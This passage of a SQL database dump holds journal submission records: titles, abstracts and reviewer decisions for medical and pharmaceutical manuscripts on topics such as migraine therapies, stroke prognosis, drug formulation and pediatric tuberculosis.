Majority of the cases were within fifth and seventh decades of age.','Adult Males, Bladder Outlet Obstruction, RethrogradeUrethrography, Ultrasonography',2801,NULL,'2019-09-19',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(2584,3324,277,0,'ipadm-19-2584','CARACTERÍSTICAS DE MIGRAÑA Y USO DE TERAPIAS COMPLEMENTARIAS. ENCUESTA EUROPEA TRABAJO Y MIGRAÑA',NULL,14,0,NULL,'La migraña, afecta mundialmente a una de cada diez personas, con aumento creciente y mayor prevalencia entre mujeres de zonas urbanas. Aunque los tratamientos habituales son farmacológicos, aumenta el uso de técnicas alternativas. Es objetivo de este trabajo valorar la influencia de variables socio-demográficas en las características de la migraña en países europeos y uso de terapias alternativas no farmacológicas.\r\nEstudio observacional transversal mediante encuesta anónima vía web a 3.342 pacientes de países europeos. Variables de estudio: edad, género, país, tipo de localidad, nivel de estudios, ámbito rural o urbano y la respuesta a: ¿Usa otros tratamientos complementarios? (dietas, fisioterapia, mindfulness…): Sí, No.\r\nEl tipo de migraña, duración y frecuencia se relacionan con edad, género y factores culturales. Su distribución y características difieren en los países europeos estudiados.\r\nLa utilización de terapias alternativas en migraña es un fenómeno creciente, con mayor uso en pacientes entre 41-60 años y estudios superiores.','migraña, terapias complementarias, salud pública',2805,NULL,'2019-09-19',NULL,'Submitted',2,NULL,'2022-10-10',NULL,1,1,'0','It was a pleasure to review this manuscript.\r\nI congratulate the authors.\r\nAccept the Article without any changes',0,NULL,NULL,2,0,0,0,NULL,0),(2586,3326,277,0,NULL,'ASSESSMENT AS A PROGNOSTIC MARKER BY META-ANALYSIS OF THE NEUTROPHIL/LYMPHOCYTE RATIO IN ACUTE STROKE',NULL,14,0,NULL,'BACKGROUND: Certain markers of inflammatory response are emerging in many studies as prognostic factors in pathological processes with an inflammatory basis, such as acute stroke. The objective of this paper is to analyze the capacity of the neutrophil/lymphocyte ratio to determine the prognostic value in this pathology by a meta analysis and systematic review of the literature.\r\nMETHODS: An exhaustive bibliographical review of articles that assessed the neutrophil-lymphocyte ratio was performed for the period 1995-2018, with an evaluation by meta-analysis with subgroups (ratio value, pathological subtype and country of origin).\r\nRESULTS: Fifteen studies (3,857 patients from 7 countries) were included in the study. Neutrophil/lymphocyte ratios ≥5 were significantly related to poorer survival, regardless of pathologic subtype (prediction is stronger in the ischemic processes), and origin (oriental studies are more predictive).\r\nCONCLUSIONS: in this meta-analysis, elevated levels of NLR obtained in the first 24 h are associated with a worse short-term prognosis in patients with stroke (ischemic and hemorrhagic). To corroborate these results will be necessary to carry out prospective studies with large cohorts of patients. The NLR is an index that is obtained from the routine analysis in the emergency room and its cost is economic, so it could be used routinely in the initial evaluation of the prognosis of the acute stroke\r\n',' STROKE MARKERS, PREDICTION OUTCOME, NEUTROPHIL/LYMPHOCYTE RATIO',2805,NULL,'2019-09-19',NULL,'Submitted',4,NULL,'2019-11-15',NULL,1,0,'1',NULL,0,NULL,NULL,2,0,0,0,NULL,0),(2591,3331,91,0,'ijddr-19-2591','Recent findings and development of 3D printing technology in pharmaceutical formulation development; an extensive review  ',NULL,15,0,NULL,'Three-dimensional (3D) printing technology is an emerging and flourishing technique which has a tremendous potential to bring a paradigm shift in the pharmaceutical sector. Basically, 3D printing is a fabrication technique in which automatically layer-by-layer materials are being deposited to create various design of choice. The primary objective of this manuscript is to discuss modern methods, techniques, current trends, polymers of choice and recent applications of 3D printing technology applying in the pharmaceutical sector. Recently, the FDA has approved 3D printed tablet called Spritam, which brings a tremendous boost in the preparation of fabricated drug delivery system and personalized medicine. In this review, special importance was given to highlight the challenges and future perspectives of 3D printed technology in the pharmaceutical sector.','3D printing technology; polyvinyl alcohol; fused deposition modeling; drop-on-drop deposition; poly (Ɛ-caprolactone)',2474,NULL,'2019-09-20',NULL,'Submitted',2,NULL,'2020-06-11',NULL,1,1,'0','accepted after all the comments of the reviewer need to be added in the manuscript',0,NULL,NULL,NULL,0,0,0,NULL,0),(2594,3337,45,0,'iphsj-19-2594','IMBALANCE IN REDOX-INFLAMMATION AXIS IN AGING SKIN AND EFFICACY OF PHARMACOLOGICAL AGENTS ',NULL,14,0,NULL,'Background: Intimal mechanisms of oxidative stress progression and inflammation inextricably linked and play underpin of most diseases and aging process. The aim of the study was the evaluation contribution of anti-oxidant potential decreasing and cytokine dysregulation in aging and comparison of efficacy of various pharmacological agents (antioxidants) as a candidate for include in treatment algorithm of protective strategy against skin aging. \r\nMethods and findings: 84 female Wistar rats included in the experimental design. Aging model was reproduced by D-galactose (D-Gal) injection.  All animals in main group were randomized for 6 groups: control I – the same aged rats without treatment, control II – animals with skin aging reproduced model receive  saline, III - receive intradermal injection 2% artichoke extracts, IV group - centella asiatica (CA) extract, 0.1%, V- 0.1% dimethylaminoethanol (DMAE), VI – ascorbic acid, 50 mg/kg, intradermally twice at weeks during 4 weeks. In D-gal-induced skin-aging functioning is decreased. Artichoke and CA extracts reverse ratio of activities of superoxide dismutase / (catalase + glutathione peroxidase) and decreased ratio of pro-/anti-inflammatory cytokines and activity of nuclear transcription factor kappa B. Efficacy of pharmacological agents to restore the redox potential O2-/H2O2 and were artichoke extracts > CA> DMAE>ascorbic acid. \r\nConclusions: Oxidative stress progression and inflamm-ageing are included in age-related pathogenesis and preventive ageing strategy could include potential multitargets interventions directed to its cessation for reduce skin age-related diseases and promoting healthy longevity. \r\n',' Skin aging, Pharmacological agents, Oxidant defense system, Superoxide anion, Cytokine profile, Nuclear transcription factor kappa B ',694,NULL,'2019-09-21',NULL,'Submitted',2,NULL,'2020-06-11',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(2602,3345,91,0,'ijddr-19-2602','Evaluation of in vitro antibacterial activity of extract of semi-aquatic plants growing in the polluted water of Sri Lanka.',NULL,14,0,NULL,'This study evaluated in vitro antibacterial activity and phytochemical profile of four plants (roots of Ipomoea aquatica, Lasia spinosa, Pistia stratiotes and leaves of Monochoria vaginalis) which grows in the wastewater of Sri Lanka. These plants are used in traditional and folk medicine of Sri Lanka for treatment of various bacteria induced infectious diseases. Antibacterial activity evaluated using 0.9% normal saline extracts against two Gram-positive [Staphylococcus aureus (ATCC 25923) and Bacillus subtilis (ATCC 6633)] and two Gram-negative [Escherichia coli (ATCC 25922); Pseudomonas aeruginosa (ATCC 27853)], clinically important bacterial pathogens. The plant extracts were prepared by homogenization of plant in 0.9% sterile isotonic normal saline. The antibacterial activity of the extracts were evaluated using cylinder plate method. The extracts of the four plants showed antibacterial activity with the zone of inhibition values ranging between 12- 15mm. According to the dose-response study, Pistia stratiotes exhibited the highest antibacterial efficacy and Monochoria vaginalis the lowest antibacterial efficacy against Escherichia coli (ATCC 25922). Statistical analysis showed a significant difference (P<0.05) between the efficacy of Pistia stratiotes and Monochoria vaginalis against Escherichia coli. Pistia stratiotes exhibited the highest antibacterial efficacy, while Monochoria vaginalis showed weak antibacterial efficacy against Staphylococcus aureus (ATCC 25923). Statistical analysis proved that the efficacy of the Pistia stratiotes and Monochoria vaginalis against Staphylococcus aureus has significant difference (P<0.05). Lasia spinosa showed the highest antibacterial efficacy, while Ipomoea aquatica showed minimum antibacterial efficacy against Pseudomonas aeruginosa. There is a significant difference (P<0.05) between the efficacy of the Pistia stratiotes and Ipomoea aquatica against Pseudomonas aeruginosa. Lasia spinosa showed highest antibacterial efficacy, while Ipomoea aquatica exhibited lowest antibacterial efficacy against Bacillus subtilis (ATCC 6633). Statistical analysis showed significant difference (P<0.05) between the efficacy of Lasia spinosa and Ipomoea aquatica against Bacillus subtilis. EC50 values of the dose-response study were used to compare the potency of in-vitro antibacterial activity plant of extracts. Here, Monochoria vaginalis 0.9% saline extract showed highest antibacterial potency against Escherichia coli with lowest EC50 value. Lasia spinosa 0.9% saline extract showed highest potency against Staphylococcus aureus and Ipomoea aquatica show high antibacterial potency against both Pseudomonas aeruginosa and Bacillus subtilis with low EC50 value. It is concluded that the Ipomoea aquatica and Lasia spinosa plant which grown in polluted water may possess antimicrobial activity and its efficacy and potency can’t determine only depend on the size of bacterial inhibition zone. Results of study further provide information about the possibility of developing safe, efficacious and potent antibacterial medicines.','Ipomoea aquatica, Lasia spinosa, Pistia stratiotes and Monochoria vaginalis; antibacterial activity',2446,NULL,'2019-09-23',NULL,'Submitted',4,NULL,'2019-11-18',NULL,1,1,'0','accept with reviewer comments',0,NULL,NULL,2,0,0,0,NULL,0),(2605,3351,45,0,'iphsj-19-2605','Analysis of the Relationship Between Forced Discharge and Quality of Life through Age, Education, Employment, Health Insurance, Health Service Satisfaction, Socio-Economic Status, Modalizeduan Culture, and Understanding of Alternative Medicine (Pononibiaan) in the Community of Bolaang Mongondow Regency',NULL,2,0,NULL,'Forced discharged is one indicator of the lack of quality health services because it can affect healing, and costs and so forth. Forced discharged (passive euthanasia) is the act of stopping or revoking all actions or treatments that are necessary to maintain human life, so that the patient is expected to die after the rescue action is stopped, or is the patient\'s action to go home without the approval of the hospital and as one form of action patients do not understand the advice of medical personnel. Passive euthanasia can worsen the patient\'s health condition. Based on the problems that occur in Datoe Binangkang District Hospital, patients with involuntary discharge at their own request (APS) and also from the hospital\'s own services that ask patients to be forced to go home for various reasons such as lack of funds for the public classified as public patients, or from deficiencies specialist doctors as well as the lack of related facilities and infrastructure as well as requests from hospitals regarding certain reasons. Based on the formulation of the problem above, the purpose of this research is how the relationship of forced return with quality of life through the factors of age, education, employment, health insurance, satisfaction of health services, Mododuluan cultural social economic status (mutual cooperation), the understanding of alternative medicine (pononibiaan) in the community of Bolaang Mongondow Regency.\r\n\r\nBased on the results of the discussion, the following conclusions are 1) Increased forced discharge cases in Bolaang Mongondow Regency because there is still a lack of patient awareness of the importance of care, 2) Motivation to recover affects the incidence of forced discharges, this shows that it is important to foster patient motivation to heal so that patients are willing to receive medical treatment until the illness is declared cured, motivation is very important to build a recovery spirit from the patient, 3) Modululuan cultural profile, patient trust, health services, socioeconomic and health insurance have a positive impact on those who do not go home forcibly because this condition can make patients choose to stay in the hospital until healed rather than forced home, 4) Modululuan culture, trust, socioeconomic and health insurance affect the forced discharge decision made by the patient while the health service has no influence on the patient\'s discharge decision.\r\n',' Keywords: force discharged, pononibian, moduduluan',686,NULL,'2019-09-24',NULL,'Submitted',2,NULL,'2020-06-11',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(2606,498,45,0,'iphsj-19-2606','Computed Tomography evaluation of the Caudate-to-Right Lobe ratio in Patients with Liver Cirrhosis and Subjects with Normal Liver in Benin City, Edo State, Nigeria',NULL,14,0,NULL,'Background: Liver cirrhosis is the end stage of a range of chronic diffuse liver diseases and is forever progressive leading to hepatic dysfunction, portal hypertension and hepatocellular carcinoma. It is the major cause of morbidity and mortality in developing countries. This study was designed to compare the caudate-to-right hepatic lobe ratio of normal subjects with that of patients with liver cirrhosis with the view of elucidating the value of the ratio in the diagnosis of liver cirrhosis. Materials and method: A prospective cross-sectional study design was adopted in this study. The participants were examined on a 16- slice Siemens CT machine using standard protocols and techniques in the imaging unit of Union Diagnostics and Clinical Services, Benin City. Ethical approval for this study was obtained from the Human Research and Ethics Committee of Faculty of Health Sciences and Technology, Nnamdi Azikiwe. The procedure was adequately explained to the participants and their consent was properly sought. Information obtained from the participants were treated with high level of confidentiality. Data used for this study were collected using structured data proforma. The obtained data were analyzed SPSS version 21.0 (SPSS Inc., Chicago, IL, USA). Both descriptive and inferential statistics were used for statistical analysis and the level of statistical significance was set at p < 0.05. Results: Of the 214 participants,comprising of 107 liver cirrhosis subjects and 107 healthy adults with normal liver, males were 59.3% (n=63) and 55.3% (n=59) in the studied and control groups respectively. Out of 107 liver cirrhosis subjects, 48% (n=51) were within age group 60 years and above as highest. Of 107 subjects diagnosed with liver cirrhosis, 61.3% (n=92) had history of alcohol consumption.The mean of liver span, right lobe, caudate lobe and C/RL ratio for the liver cirrhosis group are 15.35±0.80cm, 7.23±1.03cm, 5.25±0.91cm and 0.72±0.06cm respectively, while the mean of liver span, right lobe, caudate lobe and C/RL ratio in the control group are 15.74±1.0 cm, 8.51±0.7cm, 3.78 ± 0.5cm and 0.44±0.00cm respectively. There were statistically significant mean differences in the measured liver dimensions across the two groups (p= 0.001, 0.000, 0.000 and 0.000) respectively. Conclusion:Male preponderance was observed across the two groups. There was a significant difference in the caudate-to-right lobe ratio of subjects when compared with that of the patients with liver cirrhosis, indicating C/RL ratio is a very strong reliable parameter for diagnosing liver cirrhosis even in its early asymptomatic stage.','Abdominal Computed tomography, Caudate-right lobe ratio, Liver cirrhosis',2832,NULL,'2019-09-24',NULL,'Submitted',2,NULL,'2019-10-03',NULL,1,1,'1',' ',0,NULL,NULL,NULL,0,0,0,NULL,0),(2611,3362,91,0,'ijddr-19-2611','DEVELOPMENT AND CHARACTERIZATION OF FLOATING MATRIX TABLETS OF GABAPENTIN',NULL,14,0,NULL,'The objective of the present investigation was to increase the gastro retention time of Gabapentin (GBPT). Materials and Method the floating matrix tablets of Gabapentin were prepared by direct compression method with free flowing powder by using selected drug and excipients authenticated by Fourier-transform infrared spectroscopy (FTIR).Floating matrix tablets were further characterized for drug content and in vitro drug release studies. Results Mean dissolution time was also reported to compare various dissolution profiles. The formula was finalized by comparing  in vitro dissolution of all formulation of Gabapentin and was formulated using 80mg ,80mgHPMC K4, 5mg Lactose, 10mg NaHCO3, 5 mg Lactose, 5mg talc and 5mg magnesium stearate . In vitro drug release profile shows 99.99% within 12hr. The results suggested that direct compression is a suitable method to formulate floating matrix tablet of Gabapentin and it can perform therapeutically better than conventional immediate release dosage form. Conclusion: It can be concluded from this study that the combined mix matrix system containing hydrophobic and hydrophilic polymer minimized the burst release of drug from the tablet.\r\n','  Bioavailability, HPMCK4, Gabapentin, Lactose, NaHCO3, Talc, Matrix Tablet',2838,NULL,'2019-09-25',NULL,'Submitted',4,NULL,'2020-06-11',NULL,1,1,'0','revised according to reviewer comments ',0,NULL,NULL,2,0,0,0,NULL,0),(2617,3369,277,0,'ipadm-19-2617','OSTEOMIELITIS DE LA BASE DEL CRÁNEO Y OTRAS COMPLICACIONES SECUNDARIAS A OTITIS MEDIA AGUDA DETECTADAS POR TOMOGRAFÍA CRANEAL SIMPLE EN UN PACIENTE PEDIÁTRICO. REPORTE DE UN CASO. ',NULL,2,0,NULL,'Summary/Resumen\r\n\r\nSkull Base osteomyelitis is a rare clinical entity, even more in the pediatric population, with a high  overall mortality. Typical cases appear as a complication of malignant otitis external, compromising the temporal bone. We present a case of a male 11 month old infant that was admitted at the intensive care unit of the Hospital Universitario \"José Eleuterio González \" located in Monterrey, México, because of a history of 7 days of fever, cough, otorrhea, bipapebral edema with right side conjuntival erythema and septic shock with altered consciousness. After the initial assesment and treatment a non contrasted head CT was made that showed gas density in the skull base, the cavernous sinus and the right transverse sinus topography,  right stranding of intraconal fat with a hyperdense a thick right superior ophthalmic vein and  hipodense lesions on the brain. Even though the  magnetic resonance (MRI) has the higher sensibility and specificity for this image diagnosis, recognizing through a simple head tomography this entity and possible complications is important because of the need of urgent adequate and directed treatment.\r\n\r\nLa osteomielitis craneal es una entidad clínica poco común y aún mas rara en pediátricos, que puede afectar la bóveda craneal o la base del cráneo, con alta tasa de mortalidad . Presentamos un caso de un lactante masculino de 11 meses de edad que fue admitido a la unidad de cuidados intensivos del Hospital Universitario \" José Eleuterio González\" en Monterrey, México, por una historia de 7 días de fiebre, tos, otorrea, edema bipalpebral con eritema conjuntival derecho y choque séptico con alteración del estado de conciencia. Despues de la valoración y tratamiento inicial se solicitó una tomografía computarizada no contrastada del cráneo, que demostro material con densidad de gas en la base del cráneo, en las topografías del el seno cavernoso y seno transverso derecho, borramiento de planos grasos de la grasa intraconal derecha con una vena oftalmica superior hiperdensa y gruesa, asi como lesiones hipodensas en el cerebro. Aunque la resonancia magnética simple tiene la mayor sensibilidad y especificidad para este diagnóstico por imagen, saber reconocer a través de una tomografía simple esta entidad y las complicaciones se vuelve importante por la necesidad de un tratamiento dirigido y adecuado de forma urgente.\r\n\r\n\r\n\r\n','Keywords/Palabras clave.\r\n\r\nOsteomielitis de la Base de Cráneo.\r\nPediatría\r\nTomografía de cráneo simple.\r\nTrombosis del Seno Cavernoso.\r\nTrombosis de la vena oftálmica.\r\n\r\nSkull Base Osteomyelitis.\r\nPediatrics\r\nSimple head computed tomography\r\nCavernous sinus thrombosis\r\nOftalmic vein thrombosis.',2805,NULL,'2019-09-26',NULL,'Submitted',2,NULL,'2019-12-17',NULL,1,1,'0','Accepted for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(2620,3375,45,0,NULL,'To assess the community health status and health related issue of 02 kebele in assosa city, Ethiopia, 2017 ',NULL,14,0,NULL,'Abstract—the information about community health problem is batter to understand and find out solution to the problem that was identified. This prepare presents a general over view of current 02 kebele community health status. Factor related to environmental hygiene, maternal and child health care, harmful traditional practice causes from easer to complicated health related problem. The main objective of the study was to assess the community health status and health related issue of 02 kebele in Assosa city administration in 2016 Result : The overall knowledge of contraceptive methods among 194 women in 02 kebele were 32(68%) in contrast 62(32%) of them didn’t know about contraceptive. 128(65.98%) and 108(55.67%) of the women were know injectable and pill methods of contraceptive. 103(76.90%) of women were use contraceptive for spacing, 16(11.9%) of were due to health problem, 7(5.20%) and 8(6%) were use contraceptive for financial purpose and other reasons respectively.  Recommendation: Regional health bureau and different partners should providing adequate Information, Education and communication on maternal and child health, and harmful traditional practice in order to bring good knowledge as well as behavioral change to the community. Non-governmental organization involvements also need to meet the health status of community by preventing and control cause of health problem  ',' ',685,NULL,'2019-09-26',NULL,'Submitted',4,NULL,'2019-10-14',NULL,1,0,'0',NULL,0,NULL,NULL,1,0,0,0,NULL,0),(2622,3378,45,0,NULL,'Tuberculosis treatment outcomes among children in Ethiopia: Systematic review and Meta analysis ',NULL,15,0,NULL,'Abstract\r\nBackground: Tuberculosis (TB) in children is increasingly recognized as a significant public health problem, and as  an important component of the total global burden of tuberculosis. Tuberculosis  among Ethiopian children is highly prevalent  due to poor socio-economic conditions, malnutrition, over-crowding, HIV co-infection and high prevalence of TB in adult contacts. The World Health Organization (WHO) recommends that children with TB should be treated within the National TB Programmes (NTP) and  notified through their routine reporting systems. Although with appropriate treatment  95% of children with PTB and non-severe EPTB could be treated successfully  their outcome is largely unknown in developing countries including Ethiopia. \r\nMethods :We identified a total of 1138 original articles from the initial computer-based search  in  PubMed, Hinari, Google Scholar untill may 20, 2017, and contacting authors and experts in the field. Of these, 64 full-text studies were eligible for review and 28 articles were used for meta-analysis, including a total study population of 10,929 patients from 7 regions of the country, namely Addis Ababa, Amhara, Afar, Gambella, oromia, South nations and nationalities people and Tigray. All of the studies were published in English, with study populations size varying from 32 to 2381, and undertaken between 2009 and 2017.\r\nResults:   The pooled treatment Success rate was 85% (CI: 82%-88%) with pooled cure and treatment completed rate of   8% (CI: 6%-11%) and 80% (CI: 76%-85%), respectively. The pooled unsuccessful treatment rate, lost to follow-up rate and death rate were 15 % (CI: 12%-18%), 10% (CI: 7%-12%) and 6% (CI: 4%-7%), respectively.  \r\nConclusion: The over all treatment success rate among children was similar with  the general population. Close follow up is required for better outcome.\r\n\r\n',' Key Words: Tuberculosis, children, treatment outcome',685,NULL,'2019-09-26',NULL,'Submitted',4,NULL,'2019-10-14',NULL,1,0,'1',NULL,0,NULL,NULL,2,0,0,0,NULL,0),(2623,3379,91,0,'ijddr-23-2623','Development and characterization of nanocrystal of mefenamic acid with enhanced stability for targeted drug delivest system',NULL,14,3,NULL,'The objective of present work was to utilize the potential of nanocrystal to improve the stability of mefenamic acid non-steroidal anti-inflammatory drug formulated by precipitation method under bottom up technology. Nanocrystal are made up of 100% of drug and formulation is stabilized by using stabilizers. A full 22 factorial design was utilized to study the effect of two independent parameters namely stabilizers concentration and stirring speed. The mefenamic acid nanocrystal formulation was characterized with respect to particle size, polydispersity index (PDI), zeta-potential, encapsulation efficiency and physical morphology. The nanocrystal  formulation had an average diameter of 257.6 nm, PDI of 0.335, zeta-potential of  37.48 mV, and encapsulation efficiency of 82.48%, respectively. The nanocrystal  formulation for mefenamic acid encapsulation has been successfully developed and is suitable for targeted delivery system due to their nano-size and stability.',' ',1325,NULL,'2019-09-27',NULL,'Submitted',15,NULL,'2023-09-21',NULL,1,1,'0','revise according to reviewer comments',0,NULL,NULL,2,0,0,0,NULL,0),(2633,3389,91,0,'ijddr-19-2633','Study on drug release and stability of matrix tablet contained monoammonium glycyrrhizinate',NULL,14,0,NULL,'Abstract\r\n\r\nObjectives:\r\nMonoammonium glycyrrhizinate was determined it has anti-viral activity in case of hepatitis A, B, C, D. We have developed matrix tablet contained monoammonium glycyrrhizinate by previous study. The objective of the study was to evaluate drug release of matrix tablet in vivo  and determinate its stability.\r\nMethods: In the present study was evaluated in vivo drug release of the matrix tablet. Stability testing was  determinated by long term and accelerated method by such criterias: appearance, weight variation, biological active compound, hardness, friability, dissolution and microbiological contamination.\r\nResults: The Cmax (µg/ml), Tmax (h), AUC0-t (µg h/ml) of Glycyron tablet and Licozinat matrix tablet were determined in vivo. Stability of the matrix tablet was determined.\r\nConclusion: Licozinat matrix tablet was released drug by prolonged time by in vitro. In vivo pharmacokinetic study in rabbits confirmed the prolonged release by showing increase in bioavailability for matrix tablet compared to Glycyron tablet. Licozinat matrix tablet was stable for 12 months. Stability testing of matrix tablet is continuing by long term method.\r\n',' Monoammonium glycyrrhizinate, matrix tablet, in vivo drug release, stability',1325,NULL,'2019-09-27',NULL,'Submitted',4,NULL,'2020-06-11',NULL,1,1,'0','set revision',0,NULL,NULL,1,0,0,0,NULL,0),(2635,3393,73,0,'ipjnn-19-2635','The intracerebral hemorrhage (ICH) in the state of Qatar',NULL,14,0,NULL,'Background:\r\nOur study’s aim is to evaluate the rate of ICH among stroke population over 4 years period in Qatar and main risk factors and etiology seen based on the age and ethnicity of the population. \r\nMethod:\r\nOur stroke database is based on prospective data collection of patients presented with acute neurological symptoms and turn to have TIA, ischemic stroke or ICH from 1st December 2013 to 11 May 2017.\r\nThe etiology of ICH was assumed based on age, risk factors, and neuroimaging findings.\r\nResult: The rate of ICH is 20.5 % (518 ICH /2525 total stroke). Patients with ICH are slightly younger with a mean age of 51.72±13.1 than ones with ischemic stroke (IS) 56.12±13.38. (P=0.68) and more seen in male than female in both ICH and IS. (M/F=5/1). In addition, patients with ICH do worse than ones with IS (3 months mRS>2, 143/302 (47.4%) in ICH versus 678/1896 (35.8%) in IS, (P<0.001). ICH is more common in the South Asian [S.A] 277/518 (53.3%) followed by Far East [FFE] 96/513 (18.5%) than Qatari and Arabic population 51/518 (9.8%) and 69/518 (12%), respectively, (P<0.001). The main risk factor for ICH is hypertension (HTN) 330/518 (64%) followed by diabetes mellitus (DM) 135/518 (26.3%).\r\nThe main predictors of ICH are the FFE ethnicity (OR: 2.297, 95% CI:1.77-2.97, P<0.001), HTN (OR:1.85 CI:1.46-2.36, P<0.001, NIHSS (OR:1.15 CI:1.13-1.17, P: 0.00) and Age (OR:0.9, CI:0.96-0.98, P<0.001).\r\nConclusion:  The rate of ICH in Qatar is comparable to the rest of the world. However, ICH in Qatar is more seen in young and south Asian population and have a worse outcome than ischemic stroke ones. This could be explained by the unique multiple ethnicities’ population in Qatar. ',' ICH\r\nincidence\r\netiology\r\n',338,NULL,'2019-09-27',NULL,'Submitted',1,NULL,'2020-06-04',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(2645,2851,86,0,'ipaom-19-2645','ANATOMIZING THE HUMAN BODY IN THE TRAINING ELEMENTARY SCHOOL: Experience report of the University extension of undergraduate nursing students',NULL,14,0,NULL,'Human anatomy is the science that studies the shape of the human body, being charged with naming and describing its constituent structures at the macro level and Microscopic. Background: The view of This, the project \"anatomizing\" The human body and its functioning in the process of training in elementary education seeks to contribute in the elaboration of teaching plans, selection of materials and approach of themes to be, possibly, used in Aul RoomA. Methods: The workshops performed by the students of the nursing course of the Federal University of Piauí occurred during the times of the discipline teaching of sciences/biology of a municipal school of Floriano-Piauí.WereusedResourcesasdata-Shows, Bookcasesillustrative elaborated by the project members and macro anatomical molds for the realization of the project. Yet, the Students visited the Lab of Macroscopic and Microscopy Human Anatomy of CAFS. . Findings and Conclusions: Dynamics performed during the workshops showed that after the end of the project the students expressed a great obtaining of the knowledge addressed during the interactive class and interest in higher education focused on the area of Cheers.','Anatomy; Elementary School; Workshops Project Extension Nursing Students',1639,NULL,'2019-09-30',NULL,'Submitted',2,NULL,'2020-05-20',NULL,1,1,'0','Accept for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(2649,3413,45,0,NULL,'Health care workers Knowledge, Attitude and Practice towards hospital acquired infection prevention at Dessie referral hospital, Northeast Ethiopia',NULL,14,0,NULL,'Introduction: The intimate contact of health care workers and patient at the health care facility lead to the transmission of pathogenic organisms from patient to health care worker and vice versa. Hospital acquired infection prevention which is standardized guide lines contain a multitude protocols needed to be implemented by health care workers to reduce potentially hospital acquired infections.\r\nObjective: To assess health care workers knowledge, attitude and practice towards hospital acquired infection prevention at Dessie referral hospital.\r\nMethod: Institutional based cross sectional study was conducted among health care workers at Dessie referral hospital. The subjects were selected by proportional allocation in each respective department and simple random sampling method was employed. The data was analyzed by using statistical package for social sciences (SPSS) and described in frequency tables and graph. \r\nResults: 191 study subjects were participated in the study which gives a response rate of 90.5% from 211 total sample sizes. The study subjects had given their response according to self administered questioner. The result indicates that 86.4%, 76.4% and 77% of respondents had good knowledge and favourable attitude and poor practice towards hospital acquired infection prevention respectively.\r\n Conclusion and recommendation: Even though the majority of the health care workers had good knowledge and favourable attitude, more than two third of them had poor practice towards hospital acquired infection prevention. Therefore health workers should strictly follow hospital acquired infection prevention guidelines. Improving sustainable supplies like personal protective equipment, water supply and hand washing facilities at patient care site is vital to correct the poor practice of infection prevention.\r\n',' Health care workers, hospital acquired infection, infection prevention, knowledge, attitude, practice, Dessie referral hospital',643,NULL,'2019-09-30',NULL,'Submitted',4,NULL,'2019-10-16',NULL,1,0,'0',NULL,0,NULL,NULL,2,0,0,0,NULL,0),(2651,3416,45,0,'iphsj-19-2651','Breast Feeding Knowloge and Practice among Iraqi women',NULL,16,0,NULL,'Background: Breast feeding is ideal way of providing optimal food for the healthy growth and development of infants, as well as  it is an integral part of the reproductive process with an important implications for mother\'s health. On population basis exclusive breast feeding for 6 months is the optimum way of infants feeding , there after infants should receive complementary foods with continued breast feeding up to 2 years of age or \r\nMaterial and Methods: A prospective study included 300 women attended the consultant department of the AL-Alweya Maternity Teaching Hospital in Baghdad from the First of January to 30th of June 2019. The participant at age group range between 15-45 years old. \r\nResults: There was a significant association between  the knowledge of starting complementary food  with social level, no significant differences (P >0.05)  among the social class in regard the information  and practice of the breast feeding initiation time , a significant differences in the knowledge of the different social class, and no significant differences in the practice.   \r\nConclusion: mother knowledge about the breast feeding was inadequate. The breast feeding knowledge and practice of the mother are far from the satisfactory level of mother\'s education, especially exclusive breastfeeding.        \r\n',' Breast feeding, Exclusive Breast feeding, Knowledge, and practice.',685,NULL,'2019-09-30',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(2661,3428,251,0,'ipacm-19-2661','Analysis of the validity of perioperative prophylaxis in maxillofacial surgery in the context of antibiotic therapy.',NULL,10,0,NULL,'Perioperative antibiotic prophylaxis (OPA) has become a standard in surgical departments mainly in relation to patients at high risk of systemic infection. The type of operation, the duration of the procedure, the degree of purity of the operating field and the current clinical condition of the patient determines the OPA policy. Antibiotic perioperative prophylaxis consists in short-term administration of an antibiotic directly before the procedure - during the induction of anesthesia, before skin incision to reduce intraoperative contamination with microorganisms coming from the immediate vicinity of the wound to the level where the patient\'s immune system will be able to fight the infection. The most common source of contaminating microorganisms is the physiological flora of the skin and mucous membranes of the patient (endogenous infections), much less often environmental flora from other patients, personnel, contaminated surgical instruments (exogenous infections).',' antibiotic therapy - perioperative antibiotic prophylaxis - surgical site infection - exogenous infections - endogenous infections - oral physiological flora',2876,NULL,'2019-10-03',NULL,'Submitted',4,NULL,'2019-12-13',NULL,1,1,'0','Make changes that are suggested by reviewer',0,NULL,NULL,2,0,0,0,NULL,0),(2667,3437,326,0,'IPJUS-19-2667','Acute appendicitis in pregnancy: 33 cases.',NULL,15,0,NULL,'Acute appendicitis is the most common nonobstetric surgical emergency during pregnancy. Its occurrence during pregnancy exposes it to additional diagnostic difficulties and transforms the current pregnancy into a pregnancy at risk. Our series includes 33 cases of acute appendicitis and pregnancy. The objective of the study is to describe the characteristics of acute appendicitis in pregnant women. In terms of epidemiology most studies find a predominance of primary patients with acute appendicitis, in our study it was more the multipares. The age of onset of acute appendicitis is between 18 and 44 years of age so there is a larger proportion of onset in the second trimester of pregnancy .Despite the many possible tables, the most constant sign of examination at any stage of pregnancy remains the pain caused at the level of the right iliac fossa and this despite the migration of the appendix. Biology is only an additional diagnostic tool that does not alone affirm or deny the diagnosis. Ultrasound may specify, correct or support a suspected diagnosis. The scanner is not without danger, but its high performance may, in case of questionable clinical presentation, be of valuable help. During the operation any hypoxia, hypotension, hypertension, acidosis, hypo or hyperventilation should be avoided. Coelioscopy adds other risks related to pneumoperitin. Coelioscopic surgery during pregnancy and in particular appendicectomy has many advantages over laparotomy and seems to be safe for more and more advanced stages of pregnancy. The use of tocolytic agents must be case-specific, its indications are not consensual and their effectiveness in prophylactic measurement is not demonstrated. In our context, there is no place for coelioscopic surgery for appendectomy during pregnancy and laparotomy takes its place. Appendicitis and pregnancy are a high-risk maternal-fetal association whose prognosis depends on the early diagnosis and therapeutic management.',' Appendicitis – Pregnancy – Diagnosis – 